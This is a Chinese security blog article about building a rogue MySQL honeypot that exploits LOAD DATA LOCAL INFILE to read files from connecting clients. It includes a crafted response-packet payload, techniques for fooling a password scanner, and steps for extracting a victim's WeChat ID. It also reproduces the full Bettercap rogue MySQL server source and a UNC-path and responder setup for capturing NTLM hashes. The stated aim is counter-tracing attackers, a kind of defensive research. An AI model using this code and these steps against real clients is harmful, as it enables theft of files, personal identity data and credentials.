标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2810] 作者: 浩丶轩 发表于: [2021-01-08]
本文共 [925] 位读者顶过
前不久,零队发了一篇《MySQL蜜罐获取攻击者微信ID》的文章,文章讲述了如何通过load data local infile进行攻击者微信ID的抓取,学习的过程中发现虽然问题是一个比较老的问题,但是扩展出来的很多知识都比较有意思,记录一下。[出自:jiwo.org] 分析过程
LOAD DATA INFILE在MySQL中LOAD DATA INFILE 语句以非常高的速度从文本文件中读取行到表中,基本语法如下:
load data [low_priority] [local] infile 'file_name txt' [replace | ignore] 这个功能默认是关闭的,当我们没有开启这个功能时执行LOAD DATA INFILE报错如下: > 1148 - The used command is not allowed with this MySQL version 我们可以通过如下命令查看功能状态。 show global variables like 'local_infile';
我们可以通过如下命令开启该功能。 set global local_infile=1; 开启之后我们就可以通过如下命令进行文件读取并且写入到表中,我们以C:\1.txt为例,将其中内容写入到test表中,并且以\n为分隔符。 load data local infile 'C:/1.txt' into table test fields terminated by '\n'; 这样我们就可以读取客户端本地的文件,并写入到表中。
通信过程接下来我们通过Wireshark抓取过程中的流量分析一下通信过程。 首先是Greeting包,返回了服务端的Version等信息。
接下来客户端发送登录请求。
接下来客户端发送了如下请求: SET NAMES utf8mb4SET NAMES utf8mb4
接下来我们执行我们的payload load data local infile 'C:/1.txt' into table test fields
terminated by '\n';
之后服务端会回复一个Response TABULAR,其中包含请求文件名的包;
这里数据包我们要注意的地方如下:
如上图,数据包中内容如下: 09 00 00 01 fb 43 3a 2f 31 2e 74 78 74 这里的09指的是从fb开始十六进制的数据包中文件名的长度,00 00 01值得是数据包的序号,fb是包的类型,43 4a 2f 31 2e 74 78 74指的是文件名,接下来客户端向服务端发送文件内容的数据包。
任意文件读取过程
在MySQL协议中,客户端本身不存储自身的请求,而是通过服务端的响应来执行操作,也就是说我们如果可以伪造Greeting包和伪造的文件名对应的数据包,我们就可以让攻击者的客户端给我们把我们想要的文件拿过来,过程大致如下,首先我们将Greeting包发送给要连接的客户端,这样如果客户端发送查询之后,我们返回一个Response TABULAR数据包,并且附上我们指定的文件,我们也就完成了整个任意文件读取的过程,接下来就是构造两个包的过程,首先是Greeting包,这里引用lightless师傅博客中的一个样例。
根据以上样例,我们就可以方便的构造Greeting包了,当然,这里我们也可以直接利用上面我们Wireshark抓取到的Greeting包,接下来就是Response TABULAR包了,包的格式上面我们分析过了,我们可以直接构造如下Paylod chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename 我们就可以对客户端的指定文件进行读取了,这里我们还缺少一个条件,RUSSIANSECURITY在博客中也提及过如下内容。
For successfully exploitation you need at least one query to server. Fortunately most of mysql clients makes at least one query like ‘*SET names “utf8”* or something. SET NAMES utf8mb4 从查阅资料来看,大多数MySQL客户端以及程序库都会在握手之后至少发送一次请求,以探测目标平台的指纹信息,例如: select @@version_comment limit 1 这样我们的利用条件也就满足了,综上,我们可以恶意模拟一个MySQL服务端的身份认证过程,之后等待客户端发起一个SQL查询,之后响应的时候我们将我们构造的Response TABULAR发送给客户端,也就是我们LOAD DATA INFILE的请求,这样客户端根据响应内容执行上传本机文件的操作,我们也就获得了攻击者的文件信息,整体流程图示如下:
我们可以用Python来简单模拟一下这个过程:
import socket
我们可以看到,当攻击者链接我们构造的蜜罐时,我们成功抓取到了攻击者C:/1.txt文件中的内容,接下来就是对任意文件的构造,我们上面也分析了Response TABULAR数据包的格式,因此我们只需要对我们的文件名进行构造即可,这里不再赘述。 chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
欺骗扫描器接下来一个主要问题就是让攻击者的扫描器发现我们是弱口令才行,这样他才有可能连接,所以还需要分析一下扫描器的通信过程,这里以SNETCracker为例。
首先还是分析通信过程,首先还是Greeting包,返回版本信息等。
之后客户端向服务端发送请求登录的数据包。
接下来服务端向客户端返回验证成功的数据包。
从上面流程上来说,其实检查口令的部分已经结束了,但是这个软件本身还进行了下面的进一步判断,当下面判断条件也成立时,才会认为成功爆破了MySQL,接下来查看系统变量以及相应的值。 SHOW VARIABLES
服务端返回响应包后,继续查看警告信息。 SHOW WARNINGS
服务端返回响应包后,继续查看所有排列字符集。 SHOW COLLATION
到这里,如果我们伪造的蜜罐都可以返回相应的响应包,这时候SNETCracker就可以判断弱口令存在,并正常识别了,我们使用Python模拟一下整个过程。
import socket
至此我们欺骗扫描器的过程已经结束,攻击者已经可以“快速”的扫描到我们的蜜罐了,只要他进行连接,我们就可以按照上面的方法来读取他电脑上的文件了。 获取微信如果我们想进行溯源,就需要获取一些能证明攻击者身份信息的文件,而且这些文件需要位置类型固定,从而我们能方便的进行获取,从而进行进一步的调查反制。 alexo0师傅在文章中提到过关于微信的抓取:
将相应wxid填入上述字符串后,再对字符串转换成二维码,之后使用安卓端微信进行扫码即可,可以使用如下函数进行二维码生成:
import qrcode 这样,我们组合上面的过程,就可以通过正则首先获得用户username re.findall( r'.*C:\\Users\\(.*?)\\AppData\\Local\\.*', result) 之后再将获得的username进行拼接,获取到攻击者的微信配置文件: C:\Users\{username}\Documents\WeChat Files\All Users\config\config.data 最后再正则获得其中的wxid,并且利用上述函数转换为二维码即可,这样当攻击者扫描到我们的蜜罐之后,进行连接,我们就可以抓取到攻击者的wxid,并生成二维码了。
至此,我们构建的蜜罐已经将攻击者的微信给我们带回来了。
NTLM HASH我们知道,NTLM认证采用质询/应答的消息交换模式,流程如下:
在以上流程中,登录用户的密码hash即NTLM hash,response中包含Net-NTLM hash,而对于SMB协议来说,客户端连接服务端的时候,会优先使用本机的用户名和密码hash来进行登录尝试,而INFILE又支持UNC路径,组合这两点我们就能通过构造一个恶意的MySQL服务器,Bettercap本身已经集成了一个恶意MySQL服务器,代码如下: package mysql_serverimport ( "bufio" "bytes" "fmt" "io/ioutil" "net" "strings" "github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" ) type MySQLServer struct { session.SessionModule address *net.TCPAddr listener *net.TCPListener infile string outfile string } func NewMySQLServer(s *session.Session) *MySQLServer { mod := &MySQLServer{ SessionModule: session.NewSessionModule("mysql.server", s), } mod.AddParam(session.NewStringParameter("mysql.server.infile", "/etc/passwd", "", "File you want to read. UNC paths are also supported.")) mod.AddParam(session.NewStringParameter("mysql.server.outfile", "", "", "If filled, the INFILE buffer will be saved to this path instead of being logged.")) mod.AddParam(session.NewStringParameter("mysql.server.address", session.ParamIfaceAddress, session.IPv4Validator, "Address to bind the mysql server to.")) mod.AddParam(session.NewIntParameter("mysql.server.port", "3306", "Port to bind the mysql server to.")) mod.AddHandler(session.NewModuleHandler("mysql.server on", "", "Start mysql server.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("mysql.server off", "", "Stop mysql server.", func(args []string) error { return mod.Stop() })) return mod } func (mod *MySQLServer) Name() string { return "mysql.server" } func (mod *MySQLServer) Description() string { return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client." } func (mod *MySQLServer) Author() string { return "Bernardo Rodrigues (https://twitter.com/bernardomr)" } func (mod *MySQLServer) Configure() error { var err error var address string var port int if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if err, mod.infile = mod.StringParam("mysql.server.infile"); err != nil { return err } else if err, mod.outfile = mod.StringParam("mysql.server.outfile"); err != nil { return err } else if err, address = mod.StringParam("mysql.server.address"); err != nil { return err } else if err, port = mod.IntParam("mysql.server.port"); err != nil { return err } else if mod.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil { return err } else if mod.listener, err = net.ListenTCP("tcp", mod.address); err != nil { return err } return nil } func (mod *MySQLServer) Start() error { if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.Info("server starting on address %s", mod.address) for mod.Running() { if conn, err := mod.listener.AcceptTCP(); err != nil { mod.Warning("error while accepting tcp connection: %s", err) continue } else { defer conn.Close() // TODO: include binary support and files > 16kb clientAddress := strings.Split(conn.RemoteAddr().String(), ":")[0] readBuffer := make([]byte, 16384) reader := bufio.NewReader(conn) read := 0 mod.Info("connection from %s", clientAddress) if _, err := conn.Write(packets.MySQLGreeting); err != nil { mod.Warning("error while writing server greeting: %s", err) continue } else if _, err = reader.Read(readBuffer); err != nil { mod.Warning("error while reading client message: %s", err) continue } // parse client capabilities and validate connection // TODO: parse mysql connections properly and // display additional connection attributes capabilities := fmt.Sprintf("%08b", (int(uint32(readBuffer[4]) | uint32(readBuffer[5])<<8))) loadData := string(capabilities[8]) username := string(bytes.Split(readBuffer[36:], []byte{0})[0]) mod.Info("can use LOAD DATA LOCAL: %s", loadData) mod.Info("login request username: %s", tui.Bold(username)) if _, err := conn.Write(packets.MySQLFirstResponseOK); err != nil { mod.Warning("error while writing server first response ok: %s", err) continue } else if _, err := reader.Read(readBuffer); err != nil { mod.Warning("error while reading client message: %s", err) continue } else if _, err := conn.Write(packets.MySQLGetFile(mod.infile)); err != nil { mod.Warning("error while writing server get file request: %s", err) continue } else if read, err = reader.Read(readBuffer); err != nil { mod.Warning("error while readind buffer: %s", err) continue } if strings.HasPrefix(mod.infile, "\\") { mod.Info("NTLM from '%s' relayed to %s", clientAddress, mod.infile) } else if fileSize := read - 9; fileSize < 4 { mod.Warning("unexpected buffer size %d", read) } else { mod.Info("read file ( %s ) is %d bytes", mod.infile, fileSize) fileData := readBuffer[4 : read-4] if mod.outfile == "" { mod.Info("\n%s", string(fileData)) } else { mod.Info("saving to %s ...", mod.outfile) if err := ioutil.WriteFile(mod.outfile, fileData, 0755); err != nil { mod.Warning("error while saving the file: %s", err) } } } conn.Write(packets.MySQLSecondResponseOK) } } }) } func (mod *MySQLServer) Stop() error { return mod.SetRunning(false, func() { defer mod.listener.Close() }) } 通过查阅文档,我们可以看到相关参数的设置如下:
我们这里将我们的mysql.server.infile设置成UNC路径。 set mysql.server.infile \\192.168.165.128\test; mysql.server on 并且通过responder进行监听。 responder --interface eth0 -i 192.168.231.153
当攻击者使用客户端连接我们的恶意服务器时,
我们就成功的截获了NTLM的相关信息。
|